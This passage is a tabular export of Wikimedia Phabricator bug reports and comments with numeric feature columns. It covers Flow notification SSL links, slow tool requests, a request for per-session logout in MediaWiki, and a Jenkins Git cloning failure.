echo SpecialPage::getTitleFor( 'Flow', 'Test' )->getFullURL( 'foo=bar', false, PROTO_HTTPS );",,,1383160738,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,6.0,8.0,0.0,15.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,3.4242424242424243,0.696969696969697,"**bsitu** wrote:

I guess it's an configuration problem in ee-flow labs instance, the code below outputs 'http' in /maintenance/eval.php and 'https' in a web page

echo SpecialPage::getTitleFor( 'Flow', 'Test' )->getFullURL( 'foo=bar', false, PROTO_HTTPS );"
259293,Flow: SSL error on email notifications,"The WMF core features team tracks this bug on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/375, but people from the community are welcome to contribute here and in Gerrit.",,,1383032735,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,19.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,1.0,The WMF core features team tracks this bug on Mingle card URL but people from the community are welcome to contribute here and in Gerrit.
259290,Flow: SSL error on email notifications,What's an example link of what you're being given?,,,1382995963,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,True,,,8,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,What's an example link of what you're being given?
58244,http request slow,"Some ""plain-text"" files like JS code is extremely slow to access. This has started only today. Example:

http://tools.wmflabs.org/magnustools/resources/js/bootstrap.min.js

Sometimes it works, though. Some lighttp issue?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382970960,1383054215.0,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,False,PHID-TASK-b72cdsauh2jnmacolc7w,task_description,resolved,True,c2,3,False,False,True,8,True,4.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7636363636363637,0.7090909090909091,"Some ""plain-text"" files like JS code is extremely slow to access. This has started only today. Example:

URL

Sometimes it works, though. Some lighttp issue?

--------------------------
**Version**: unspecified
**Severity**: normal"
256867,http request slow,"Same issue as 56158

*** This bug has been marked as a duplicate of bug 56158 ***",,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-b72cdsauh2jnmacolc7w,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6363636363636364,"Same issue as 56158

*** This bug has been marked as a duplicate of bug 56158 ***"
58212,Add a feature to track and terminate specific login sessions,"In facebook ( https://www.facebook.com/settings?tab=security ), one can selectively log ones self out of other current sessions, but in Mediawiki, one is helpless if one wants to log out of a session for which one no longer has access to the terminal of.

Please implement being able to log out of selected other sessions, or at least a way of logging out of everything everywhere, short of changing one's password.

From the other task:

Currently, there’s no way for me to see which sessions are valid/active for my account on Wikimedia projects – if I want to be sure that I can’t be compromised by an old session, I have to change my password. It would be useful if MediaWiki instead offered a way to list those sessions, and ideally allowed me to selectively terminate them as well.

GitHub and Twitter have such a feature, for example:
{F30311189, layout=inline} {F30311223, layout=inline}

In MediaWiki, this is currently offered by [Extension:SecureSessions](https://www.mediawiki.org/wiki/Extension:SecureSessions) (CC @Parent5446), but that extension isn’t deployed on Wikimedia wikis and also doesn’t always work, for example due to T73066; in T73066#2386198, @Anomie outlined an alternative way to track sessions. I think it might be worth adding this as a core feature.

See also:
{T55156}",Needs Triage,90.0,1382874660,,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-bnxu7zommqo3txisxlf7,task_description,open,True,c2,3,False,False,,8,True,0.0,0.3333333333333333,0.0,1.0,0.0,5.333333333333333,2.0,0.0,0.0,1.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,6.333333333333333,14.666666666666666,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,4.333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,0.6666666666666666,2.0,0.0,0.0,0.0,10.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,3.3333333333333335,9.666666666666666,1.3333333333333333,2.0,6.0,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,14.666666666666666,4.666666666666667,0.0,0.0,0.0,4.666666666666667,0.0,0.6666666666666666,2.3333333333333335,1.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.984313725490196,0.7215686274509804,"In facebook ( URL ), one can selectively log ones self out of other current sessions, but in Mediawiki, one is helpless if one wants to log out of a session for which one no longer has access to the terminal of.

Please implement being able to log out of selected other sessions, or at least a way of logging out of everything everywhere, short of changing one's password.

From the other task:

Currently, there’s no way for me to see which sessions are valid/active for my account on Wikimedia projects – if I want to be sure that I can’t be compromised by an old session, I have to change my password. It would be useful if MediaWiki instead offered a way to list those sessions, and ideally allowed me to selectively terminate them as well.

GitHub and Twitter have such a feature, for example:
{F30311189, layout=inline} {F30311223, layout=inline}

In MediaWiki, this is currently offered by [Extension:SecureSessions](URL (CCSCREEN_NAME), but that extension isn’t deployed on Wikimedia wikis and also doesn’t always work, for example due to T73066; in T73066#2386198,SCREEN_NAME outlined an alternative way to track sessions. I think it might be worth adding this as a core feature.

See also:
{T55156}"
1922028,Add a feature to track and terminate specific login sessions,">>! In T58212#7951705, @Iniquity wrote:
> As far as I know, we save information about the session

We don't, on several levels:
* We don't store information that would help the user identify the session (IP/geodata, user agent etc).
* We do not store the sessions in such a way that would allow querying all sessions for a given user - they are just values in a key-value store that's keyed by the session cookie's value (although Wikimedia uses Cassandra for that, so infrastructurally a secondary index by user ID wouldn't be a big change, but it would have to circumvent all the session store abstractions in MediaWiki, which don't assume anything beyond a key-value store).
* Most crucially, sessions (in the MediaWiki sense) aren't even that relevant to staying logged in. They have a short lifetime; what the user perceives as long-term ""sessions"" are really just tokens stored in the user table and matched against a long-lived cookie. That's going to be the same token for all devices where the user is logged in; there isn't any kind of individual data structure for each of those devices.",,,1653421123,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,455,True,2.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,2.3333333333333335,3.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,2.0,0.0,0.0,0.3333333333333333,1.0,0.0,6.666666666666667,9.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,5.333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,3.0,0.0,0.0,0.0,1.0,0.0,12.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,6.666666666666667,2.6666666666666665,5.0,0.6666666666666666,0.6666666666666666,10.666666666666666,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,2.0,9.0,2.3333333333333335,0.0,1.0,0.0,2.0,0.0,2.3333333333333335,3.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.8584474885844746,0.7123287671232875,"QUOTE
QUOTE

We don't, on several levels:
* We don't store information that would help the user identify the session (IP/geodata, user agent etc).
* We do not store the sessions in such a way that would allow querying all sessions for a given user - they are just values in a key-value store that's keyed by the session cookie's value (although Wikimedia uses Cassandra for that, so infrastructurally a secondary index by user ID wouldn't be a big change, but it would have to circumvent all the session store abstractions in MediaWiki, which don't assume anything beyond a key-value store).
* Most crucially, sessions (in the MediaWiki sense) aren't even that relevant to staying logged in. They have a short lifetime; what the user perceives as long-term ""sessions"" are really just tokens stored in the user table and matched against a long-lived cookie. That's going to be the same token for all devices where the user is logged in; there isn't any kind of individual data structure for each of those devices."
1921485,Add a feature to track and terminate specific login sessions,"As far as I know, we save information about the session, perhaps now it only needs to be displayed?",,,1653349352,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,455,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,9.0,0.0,23.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,14.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.9545454545454546,"As far as I know, we save information about the session, perhaps now it only needs to be displayed?"
518153,Add a feature to track and terminate specific login sessions,T110277 will fundamentally change session handling.,,,1441079642,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,104,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.571428571428571,1.0,T110277 will fundamentally change session handling.
518152,Add a feature to track and terminate specific login sessions,">>! In T58212#643013, @MZMcBride wrote:
>> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
>> once, not individual sessions.
> 
> Hmmm, interesting. So could this be a feature request for that extension, then?

Not a simple one, though. As long as you terminate all sessions at the same time, it is enough to keep a single token in the user table and replace it when every session needs to be logged out. For per-session logout, you would need some kind of table keeping track of sessions.",,,1441079607,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,104,True,4.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.619718309859155,0.7183098591549296,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not a simple one, though. As long as you terminate all sessions at the same time, it is enough to keep a single token in the user table and replace it when every session needs to be logged out. For per-session logout, you would need some kind of table keeping track of sessions."
279538,Add a feature to track and terminate specific login sessions,"What wiki users want is not a factor in determining what features are included in MediaWiki core. If only 1% of sysadmins install the extension on their wiki, it's not MediaWiki's responsibility to correct the others. In fact, it's better if sysadmins have the choice of what they want to provide to their users

In addition, there is very little reason to have a selective logout feature. Managing sessions is usually done for security purposes, i.e., if you left your account logged in somewhere and you're worried somebody might use it. In these cases it is safer to just reset all sessions.",,,1383051117,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,1.0,1.0,1.0,1.5,1.0,5.0,1.5,0.0,0.0,2.0,5.0,1.0,0.0,0.5,1.0,0.0,0.5,5.0,12.0,1.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.5,1.5,2.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,2.0,0.0,4.5,0.0,1.0,0.0,0.0,0.0,10.5,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,3.0,3.5,5.0,2.0,1.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,7.0,12.0,1.0,0.0,0.0,0.0,7.0,0.0,1.5,1.5,0.0,1.5,1.5,0.0,1.0,4.186440677966102,0.7627118644067796,"What wiki users want is not a factor in determining what features are included in MediaWiki core. If only 1% of sysadmins install the extension on their wiki, it's not MediaWiki's responsibility to correct the others. In fact, it's better if sysadmins have the choice of what they want to provide to their users

In addition, there is very little reason to have a selective logout feature. Managing sessions is usually done for security purposes, i.e., if you left your account logged in somewhere and you're worried somebody might use it. In these cases it is safer to just reset all sessions."
279532,Add a feature to track and terminate specific login sessions,"What if the ability to logout itself was left to an extension?

Then only users of the 1% of the wikis where the administrator had the grace to install such extension could log out.

In this case we are forced to leave a hanging session available at Bob's house for anyone who would like to use it.

Therefore we see that such basic security should not be left for extensions, and thus belongs in the core.",,,1382910140,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,0.0,1.0,0.0,3.0,1.0,5.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,7.0,17.0,1.0,5.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,5.0,17.0,2.0,1.0,0.0,0.0,5.0,0.0,3.0,2.0,1.0,1.0,0.0,0.0,0.0,3.883720930232558,0.7790697674418605,"What if the ability to logout itself was left to an extension?

Then only users of the 1% of the wikis where the administrator had the grace to install such extension could log out.

In this case we are forced to leave a hanging session available at Bob's house for anyone who would like to use it.

Therefore we see that such basic security should not be left for extensions, and thus belongs in the core."
279527,Add a feature to track and terminate specific login sessions,"(In reply to comment #4)
> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
> once, not individual sessions.

Hmmm, interesting. So could this be a feature request for that extension, then?",,,1382895094,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3666666666666667,0.9,"(In reply to comment #4)
QUOTE
QUOTE

Hmmm, interesting. So could this be a feature request for that extension, then?"
279523,Add a feature to track and terminate specific login sessions,"[[mw:Extension:SecureSessions]] only allows you to log out all sessions at once, not individual sessions.",,,1382895018,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.8333333333333334,"[[mw:Extension:SecureSessions]] only allows you to log out all sessions at once, not individual sessions."
279517,Add a feature to track and terminate specific login sessions,I believe this is the purpose of [[mw:Extension:SecureSessions]].,,,1382889214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.411764705882353,0.8235294117647058,I believe this is the purpose of [[mw:Extension:SecureSessions]].
279510,Add a feature to track and terminate specific login sessions,"I mean lets say I have nine sessions, eight on various computers around my house and at the lab, and one back at Bob's friend's house. I want to just terminate the latter, because there are lots of weird people at his house and I'm not going back there this week. Why should I have to hurt all my other sessions just to zap that one like I can already do in Facebook?",,,1382885712,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,1.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,10.0,0.0,10.0,15.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,1.0,2.0,0.0,0.0,0.0,2.0,1.0,11.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,11.0,15.0,2.0,1.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.597560975609756,0.6951219512195121,"I mean lets say I have nine sessions, eight on various computers around my house and at the lab, and one back at Bob's friend's house. I want to just terminate the latter, because there are lots of weird people at his house and I'm not going back there this week. Why should I have to hurt all my other sessions just to zap that one like I can already do in Facebook?"
279502,Add a feature to track and terminate specific login sessions,Logging out already logs you out of all your sessions.,,,1382885141,,PHID-USER-i7wj2sc5pxjokzzaj7vt,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,8,True,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,27.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,Logging out already logs you out of all your sessions.
58098,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Example[1]:

...
ERROR: Error cloning remote repo 'origin'
hudson.plugins.git.GitException: Could not clone https://gerrit.wikimedia.org/r/mediawiki/extensions/Translate
...

Started to happen after updating Jenkins Git plugin. Reverting the plugin to a earlier version did not help.

Workaround it so clone the repositories via SSH[2].

Contacted Cloudbees support[3].

They were able to reproduce the problem[4] and fix it.

1: https://wmf.ci.cloudbees.com/view/r-tr/job/Translate-sandbox.translatewiki.net-linux-firefox/5/console
2: https://gerrit.wikimedia.org/r/#/c/91369/2/docs/template.md
3: https://cloudbees.zendesk.com/requests/14067
4: https://issues.jenkins-ci.org/browse/JENKINS-20218

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1382619360,1382619967.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-drck3ontm2hvae6wzpnc,task_description,resolved,True,c2,3,False,False,True,8,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,3.0,0.0,1.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,14.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,4.0,0.0,4.5,0.0,2.5,3.0,4.0,0.0,1.0,0.0,2.5,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,3.778733766233766,0.6297077922077922,"Example[1]:

...
ERROR: Error cloning remote repo 'origin'
hudson.plugins.git.GitException: Could not clone URL
...

Started to happen after updating Jenkins Git plugin. Reverting the plugin to a earlier version did not help.

Workaround it so clone the repositories via SSH[2].

Contacted Cloudbees support[3].

They were able to reproduce the problem[4] and fix it.

1: URL
2: URL
3: URL
4: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
272218,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 merged by Cmcmahon:
Clone Git repositories via anonymous HTTP

https://gerrit.wikimedia.org/r/91593",,,1382628110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.133333333333334,1.0,"Change 91593 merged by Cmcmahon:
Clone Git repositories via anonymous HTTP

GERRIT_URL"
272210,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 had a related patch set uploaded by Zfilipin:
Clone Git repositories via anonymous HTTP

https://gerrit.wikimedia.org/r/91593",,,1382619640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c2,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.9,1.0,"Change 91593 had a related patch set uploaded by Zfilipin:
Clone Git repositories via anonymous HTTP

GERRIT_URL"
57982,'Mobile view' link always heads to https,"'Mobile view' link always heads to https because of incorrect value in second argument of MobileContext::getMobileUrl().

--------------------------
**Version**: unspecified
